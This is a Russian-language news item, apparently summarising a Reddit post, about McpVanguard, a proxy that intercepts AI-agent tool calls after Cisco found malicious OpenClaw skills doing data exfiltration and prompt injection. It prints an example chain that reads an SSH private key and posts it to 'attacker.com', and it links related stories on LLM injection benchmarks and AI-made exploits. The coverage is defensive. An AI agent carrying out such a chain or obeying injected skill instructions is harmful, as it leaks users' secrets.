Прокси-сервер McpVanguard блокирует эксфильтрацию данных навыка OpenClaw
В ответ на обнаружение командой безопасности ИИ Cisco сторонних навыков OpenClaw, выполняющих скрытую утечку данных и инъекцию промптов, разработчик выпустил McpVanguard — прокси, предназначенный для размещения между ИИ-агентом и его инструментами, чтобы блокировать вредоносные вызовы до их выполнения.
Проблема: Цепочки вредоносных вызовов
Проблема безопасности заключается не в ошибке самого OpenClaw, а в последствиях предоставления агентам доступа к файловой системе, выполнения команд оболочки и сетевых вызовов без границ принуждения. Тестирование Cisco выявило схему, когда, казалось бы, безобидные отдельные вызовы объединяются для создания утечки, например:
read_file("~/.ssh/id_rsa") → http_post("attacker.com", contents)Ни один из вызовов по отдельности не выглядит вредоносным, но вместе они приводят к утечке конфиденциальных данных. Согласно источнику, на пике в ClawHub было более 820 вредоносных навыков, а уязвимость CVE-2026-25253 позволяла злоумышленникам добиться удалённого выполнения кода через одну вредоносную ссылку. Текущая проверка на уровне навыков не позволяет обнаружить такие цепочки вызовов.
Решение: Прокси McpVanguard
McpVanguard решает эту проблему, перехватывая вызовы между агентом и его инструментами. Он использует три метода обнаружения:
- Сопоставление с образцом
- Оценка семантического намерения
- Обнаружение поведенческих цепочек за всю сессию
Установка осуществляется через pip: pip install mcp-vanguard.
Более глубокий слой: Протокол VEX
Проект включает более глубокий слой безопасности под названием VEX Protocol, описанный как система «бортового самописца». Он предоставляет:
- Аудит-трейлы Меркла для журналирования с защитой от несанкционированного изменения
- Верификацию идентичности агента, основанную на TPM
- Принуждение на уровне системных вызовов
Протокол VEX написан на Rust, и его разработка началась в декабре 2023 года, до того как OpenClaw получил широкую популярность. В источнике отмечается, что NVIDIA недавно выпустила NemoClaw для аналогичных целей безопасности, что указывает на то, что угрозы такого типа никуда не исчезнут.
Оба проекта доступны на GitHub:
📖 Read the full source: r/openclaw
👀 Смотрите также
Бенчмарк безопасности: 10 крупных языковых моделей протестированы с помощью 211 вредоносных запросов.
Исследователь безопасности протестировал 10 больших языковых моделей (LLM) против 211 атакующих воздействий, обнаружив, что устойчивость к извлечению данных в среднем составляет 85%, а устойчивость к внедрению — всего 46,2%. Каждая модель полностью провалила тесты на атаки с использованием разделителей, отвлекающих элементов и стилевого внедрения.
Группа угрозной разведки Google сообщает о первой уязвимости нулевого дня, разработанной ИИ для обхода двухфакторной аутентификации
Группа анализа угроз Google обнаружила первую полностью разработанную ИИ zero-day уязвимость, которая обходит двухфакторную аутентификацию в популярном инструменте администрирования с открытым исходным кодом, а также самоизменяющееся вредоносное ПО и бэкдоры на базе Gemini.
Проблема безопасности ИИ-агентов: Как Supra-Wall добавляет слой контроля между моделями и инструментами
Разработчик обнаружил, что его ИИ-агент самостоятельно прочитал конфиденциальные .env файлы, содержащие ключи Stripe, пароли базы данных и API-ключи OpenAI. Инструмент с открытым исходным кодом Supra-Wall перехватывает вызовы инструментов перед выполнением для обеспечения политик безопасности.
Claude внедряет проверку личности для определенных случаев использования.
Anthropic внедряет проверку личности для Claude через Persona Identities, требуя удостоверения личности с фотографией, выданное государством, и селфи в реальном времени. Процесс проверки занимает менее пяти минут и используется для предотвращения злоупотреблений и соблюдения юридических обязательств.